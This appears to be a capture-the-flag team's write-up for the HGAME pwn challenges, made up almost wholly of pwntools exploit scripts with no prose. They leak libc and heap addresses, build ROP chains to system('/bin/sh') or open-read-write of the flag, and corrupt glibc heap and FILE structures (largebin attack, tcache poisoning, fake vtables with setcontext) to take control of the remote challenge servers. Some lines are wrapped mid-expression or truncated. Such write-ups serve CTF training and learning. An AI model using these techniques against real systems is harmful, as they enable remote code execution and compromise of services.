队伍名称: whi4ed0g #000473
队伍ID: No.84

WEEK1

##counting petals

```
from pwn import *
context(log_level='debug', arch='amd64', os='linux')

# io = process("./vuln")
io = remote("node1.hgame.vidar.club", 30353)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

# gdb.attach(io)

io.sendlineafter(b"How many flowers have you prepared this time?", b'16')
for i in range(15):
    io.sendlineafter(b' :', str(i))
io.sendlineafter(b' :', b'103079215128')

io.sendlineafter(b'Reply 1 indicates the former and 2 indicates the latter:', b'0')
io.recvuntil(b'103079215128 +')
io.recvuntil(b'+ 1 +')

libc_start_call_main = int(io.recv(16), 10) - 128
io.recvuntil(b'+ 0 +')

main = int(io.recv(16), 10)
pie_addr = main - 0x12bf
libc_base = libc_start_call_main - 0x29d10

io.recvuntil(b'Wish that this time they love you.')
io.sendlineafter(b"How many flowers have you prepared this time?", b'16')
for i in range(15):
    io.sendlineafter(b' :', str(i))

io.sendlineafter(b' :', b'77309411350')

pop_rdi = 0x2a3e5 + libc_base
system = libc.symbols['system'] + libc_base
bin_sh = next(libc.search(b'/bin/sh\x00')) + libc_base
ret = 0x29139 + libc_base

io.sendlineafter(b' :', str(ret))
io.sendlineafter(b' :', str(pop_rdi))
io.sendlineafter(b' :', str(bin_sh))
io.sendlineafter(b' :', str(system))

io.sendlineafter(b'Reply 1 indicates the former and 2 indicates the latter:', b'0')
io.recv()

io.interactive()
```

##ezstack

```
from pwn import *
from LibcSearcher import *

context(log_level = 'debug',arch = 'amd64',os = 'linux')
#io = remote("0.0.0.0",9999)
io = remote("node1.hgame.vidar.club",31006)
elf = ELF("./vuln")
libc = ELF("./libc-2.31.so")

leave_ret = 0x4013cb
bss = 0x404130
gift = 0x4040e0
vuln = 0x4013cd

#gdb.attach(io)

io.recvuntil("Good luck.\n")
payload1 = b'a'*80 + p64(bss+36)
io.sendline(payload1)
io.recv()

write_got = elf.got['write']
print_plt = elf.symbols['print']
pop_rsi_r15 = 0x401711
pop_rdi = 0x401713
ret = 0x40101

payload2 = p64(0) + p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(write_got) +
p64(0) +p64(print_plt) + p64(vuln)
payload2 = payload2.ljust(0x50,b'\x00')
payload2 += p64(0x404104) + p64(leave_ret)

io.send(payload2)

write_addr = u64(io.recv(12).ljust(8,b'\x00'))

libc_base = write_addr - libc.symbols['write']
op = libc_base + libc.symbols['open']
re = libc_base + libc.symbols['read']
wr = libc_base + libc.symbols['write']
sendfile = libc_base + libc.symbols['sendfile']
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0xdfc12
print(hex(libc_base))


payload3 = p64(0x4040ec) + b'flag'.ljust(8,b'\x00') + p64(pop_rdi) + p64(0x4040f4) +
p64(pop_rsi) + p64(0) + p64(op) + p64(pop_rdi) + p64(4) + p64(vuln)
payload3 = payload3.ljust(0x50,b'\x00')
payload3 += p64(0x4040f4) + p64(leave_ret)

io.recvuntil("Good luck.\n")
io.send(payload3)
```

```
payload4 = p64(1) + p64(pop_rdi) + p64(5) + p64(pop_rsi) + p64(0x404500)  + p64(re) +
p64(pop_rdi) + p64(4) + p64(vuln)
payload4 = payload4.ljust(0x50,b'\x00')
payload4 += p64(0x4040e4) + p64(leave_ret)

io.recvuntil("Good luck.\n")
io.send(payload4)

payload5 = p64(1) + p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0x404500) + p64(wr)
payload5 = payload5.ljust(0x50,b'\x00')
payload5 += p64(0x4040d4) + p64(leave_ret)

io.recvuntil("Good luck.\n")
io.send(payload5)
print(io.recv())

io.interactive()
```

##format

```
from pwn import *
context(log_level = 'debug')

#io = process("./vuln")
io = remote("146.56.227.88",32438)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

#gdb.attach(io)

io.sendlineafter(b'n =',str(3))
io.sendlineafter(b'type something:',b'%p')
io.recvuntil('you type:')

rsi = int(io.recv(15),16)

rsp = rsi + 0x2120
print(hex(rsp))
main = rsp + 0x28
print(hex(main))
stack_addr = main - 0x38
print(stack_addr)
vuln = 0x4011b6

io.sendlineafter(b'type something:',b'%*d')
io.recv()

io.sendlineafter(b'type something:',b'%s')
io.recvuntil(b'\xa0')
data = b'\xa0' + io.recv(5)
addr = u64(data.ljust(8, b'\x00'))
print(hex(addr))

libc_base = addr - libc.symbols['_IO_2_1_stdin_']
print(hex(libc_base))
```

```
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc_base + 0x2a3e5
ret = 0x40101a
print("system:" + hex(system))
print("/bin/sh:" + hex(bin_sh))
print("pop_rdi:" + hex(pop_rdi))

payload1 = b'aaaa' + p64(stack_addr) + p64(ret) + p64(pop_rdi) + p64(bin_sh) +
p64(system)
io.sendlineafter(b'n =',b'-1\n5' + payload1)
io.recv()

io.interactive()
```

#WEEK2
##signin2heap

```
from pwn import *

context(log_level = 'debug')

io = process("./vuln")
io = remote('node1.hgame.vidar.club',30729)
elf = ELF("./vuln")
libc = ELF("./libc-2.27.so")


def add(index,size,content):
    io.sendlineafter(b'Your choice:',p32(1))
    io.sendlineafter(b'Index:',str(index))
    io.sendlineafter(b'Size:',str(size))
    io.sendafter(b'Content:',content)

def dele(index):
    io.sendlineafter(b'Your choice:',p32(2))
    io.sendlineafter(b'Index:',str(index))

def show(index):
    io.sendlineafter(b'Your choice:',p32(3))
    io.sendlineafter(b'Index:',str(index))

#gdb.attach(io)

for i in range(7):
    add(i,0xf8,b'aaaaaaaa')

add(7,0xf8,b'bbbbbbbb')
add(8,0x98,b'bbbbbbbb')
add(9,0xf8,b'bbbbbbbb')
add(10,0xf8,b'zzzzzzzz')

for i in range(7):
    dele(i)
```

```
dele(7)
dele(8)

payload1 = b'a'* 0x90 + p64(0x1a0)
add(8,0x98,payload1)
dele(9)

for i in range(7):
    add(i,0xf8,b'aaaaaaaa')

add(7,0xf8,b'bbbbbbbb')

show(8)
io.recv()
main_arena = u64(io.recv(6).ljust(8,b'\x00')) - 96
libc_base = main_arena - 0x3ebc40
print(hex(main_arena))
print(hex(libc_base))

free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f29e
system = libc_base + libc.symbols['system']

add(13,0x80,b'gggggggg')
add(14,0x80,b'gggggggg')
add(15,0x70,b'gggggggg')

dele(10)
add(9,0xf8,b'aaaaaaaa')
add(10,0x38,b'aaaaaaaa')
add(11,0xf8,b'aaaaaaaa')
add(12,0x20,b'/bin/sh\x00')

for i in range(7):
    dele(i)
dele(9)
dele(10)

payload2 = b'a'*0x30 + p64(0x140)
add(10,0x38,payload2)
dele(11)

for i in range(7):
    dele(i)
dele(10)

payload3 = p64(0)*2 + p64(0x100) + p64(0x40) + p64(free_hook)
add(0,0xd0,b'aaaaaaaa')
add(1,0xe0,payload3)
add(2,0x38,b'llllllll')

payload4 = p64(system)
add(3,0x38,payload4)
dele(12)
```

```
io.interactive()
```

##Where_is_the_vulnerability

```
from pwn import *

context(log_level = 'debug')

#io = process("./vuln")
io = remote("node1.hgame.vidar.club",30758)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

def add(index,size):
    io.sendlineafter(b'>',b'1')
    io.sendlineafter(b'Index:',str(index))
    io.sendlineafter(b'Size:',str(size))

def dele(index):
    io.sendlineafter(b'>',b'2')
    io.sendlineafter(b'Index:',str(index))

def show(index):
    io.sendlineafter(b'>',b'4')
    io.sendlineafter(b'Index:',str(index))

def edit(index,content):
    io.sendlineafter(b'>',b'3')
    io.sendlineafter(b'Index',str(index))
    io.sendafter(b'Content:',content)

#gdb.attach(io)

add(0,0x528)
add(1,0x508)
add(2,0x518)
add(3,0x500)
dele(0)
add(4,0x538)
dele(2)

#pause()

show(0)
print(io.recv())

main_arena = u64(io.recv(6).ljust(8,b'\x00')) - 0x490
libc_base = main_arena - 0x203AC0
print("liba_base:" + hex(libc_base))

edit(0,b'a'*0x10)

show(0)
io.recvuntil(b'a'*0x10)
heap_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x290
```

```
print("heap_addr:" + hex(heap_addr))

IO_list_all = libc_base + libc.symbols['_IO_list_all']

payload1 = p64(0)*2 + p64(0) + p64(IO_list_all - 0x20)
edit(0,payload1)

add(5,0x538)
#pause()

io.sendlineafter(b'>',b'3')
io.sendlineafter(b'Index',b'1')
payload = b'flag'.ljust(8,b'\x00')
io.sendlineafter(b'Content:',payload)
#edit(1,b'a'*0x500 + b'flag'.ljust(8,b'\x00'))

_IO_wfile_jumps = libc_base+ libc.symbols['_IO_wfile_jumps']

system = libc_base + libc.symbols['system']
op = libc_base + libc.symbols['open']
re = libc_base + libc.symbols['read']
wr = libc_base + libc.symbols['write']
puts = libc_base + libc.symbols['puts']
pop_rdi = 0x10f75b + libc_base
pop_rsi = 0x110a4d + libc_base
pop_rdx = 0x66b9a + libc_base
ret = 0x2882f + libc_base
ret_7 = 0x380b7 + libc_base
setcontext = libc_base + libc.symbols['setcontext']
fake_io_addr = heap_addr + 0xcd0
fake_struct = p64(0) #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(0) #_IO_buf_end
fake_struct += p64(1) #_IO_save_base
fake_struct += p64(fake_io_addr + 0xb0) #_IO_backup_base = rdx
fake_struct += p64(setcontext + 61) #_IO_save_end = call_addr
fake_struct += p64(0xffffffffffffff)  #_markers
fake_struct += p64(0)  #_chain
fake_struct += p64(0)  #_fileno
fake_struct += p64(0)  #_old_offset
fake_struct += p64(0)  #_cur_column
fake_struct += p64(heap_addr + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wfile_data rax1
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(1) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps + 0x30) #vtable
```

```
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40) #rax2 -> to make [rax+0x18] = setcontext + 61

fake_struct = fake_struct.ljust(0x118,b'\x00') + p64(fake_io_addr + 0x128 + 0x28) +
p64(ret) + p64(0x60)*3 + p64(fake_io_addr + 0x128 + 0x28)
fake_struct += p64(pop_rdi) + p64(heap_addr+0xcd0 - 0x500) + p64(op)
fake_struct += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x330) +
p64(pop_rdx) + p64(0x60) + p64(ret_7) + p64(0)*3 + b'0' + p64(re) + b'0000000'
fake_struct += p64(pop_rdi) + p64(heap_addr + 0x330) + p64(puts)

edit(2,fake_struct)
io.sendlineafter(b'>',b'5')

io.interactive()
```

##Hit list

```
from pwn import *

context(log_level = 'debug')

#io = process("./vuln")
io = remote("node1.hgame.vidar.club",30436)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

def add(number,name,size,content):
    io.sendlineafter(b'>',b'1')
    io.sendlineafter(b'>',str(number))
    io.sendlineafter(b'>',name)
    io.sendlineafter(b'>',str(size))
    io.sendafter(b'>',content)

def dele(index):
    io.sendlineafter(b'>',b'2')
    io.sendlineafter(b'>',str(index))

def edit(index,number,name,size,content):
    io.sendlineafter(b'>',b'3')
    io.sendlineafter(b'>',str(index))
    io.sendlineafter(b'>',str(number))
    io.sendlineafter(b'>',name)
    io.sendlineafter(b'>',str(size))
    io.sendafter(b'>',content)

def show(index):
    io.sendlineafter(b'>',b'4')
    io.sendlineafter(b'>',str(index))

#gdb.attach(io)

payload = p64(0)*3 + p64(0) + p64(0x101)
add(12345678,b'aaaaaaaa',0x80,payload)
add(12345678,b'aaaaaaaa',0x90,b'why') #0
add(12345678,b'zzzzzzzz',0x80,b'asdadad')
```

```
dele(0)
dele(1)

add(555555,b'a'*0x8,0x20,b'b'*0x10) #1

show(1)
io.recvuntil(b'b'*0x10)
heap_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x2d0
print(hex(heap_addr))

add(12345678,b'aaaaaaaa',0x380,b'a') #2
add(12345678,b'aaaaaaaa',0x380,b'a') #3

for i in range(7):
    add(12345678,b'aaaaaaaa',0x3a0,b'a')

#pause()

edit(2,12345678,b'0',0x3a0,b'a')
edit(3,12345678,b'0',0x3a0,b'a')
add(12345678,b'aaaaaaaa',0x20,b'z')

for i in range(7):
    dele(10-i)
dele(2)
dele(2)
add(12345678,b'a',0x200,b'\xe0')
show(3)

io.recvuntil(b'Information: ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 1376 - 0x21AC80
print(hex(libc_base))
print(hex(heap_addr))

add(12345678,b'aaaaaaaa',0x20,b'z')
add(12345678,b'aaaaaaaa',0x20,b'z')

system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
_IO_obstack_jumps = libc_base + 0x2173c0

payload5 = flat(
      {
            0x18:1,
            0x20:0,
            0x28:1,
            0x30:0,
            0x38:p64(system),
            0x48:p64(bin_sh),
            0x50:1,
            0xd8:p64(_IO_obstack_jumps+0x20),
            0xe0:p64(heap_addr + 0x2990 + 0x10 + 0x8),
      },
      filler = '\x00'
)
```

```
add(12345678,b'aaaaaaaa',0x3f0,payload5)

for i in range(2):
    dele(0)

io.sendlineafter(b'>',b'1')
io.sendlineafter(b'>',str(123))
io.sendlineafter(b'>',b'b')
io.sendlineafter(b'>',str(-9))

payload1 = heap_addr + 0x300
payload1 = hex(payload1).encode()

io.recvuntil(b'>')
print(payload1)
io.sendline(payload1)

IO_list_all = libc_base + libc.symbols['_IO_list_all'] - 0x10
fd = (heap_addr >> 12) ^ IO_list_all
payload2 = p64(0)*10 + p64(0x31) + p64(fd)
add(12345678,b'aaaaaaaa',0xf0,payload2)
add(12345678,p64(heap_addr),0x20,p64(heap_addr) + p64(heap_addr + 0x2990 + 0x10 +
0x8))

io.sendlineafter(b'>',b'5')

io.interactive()
```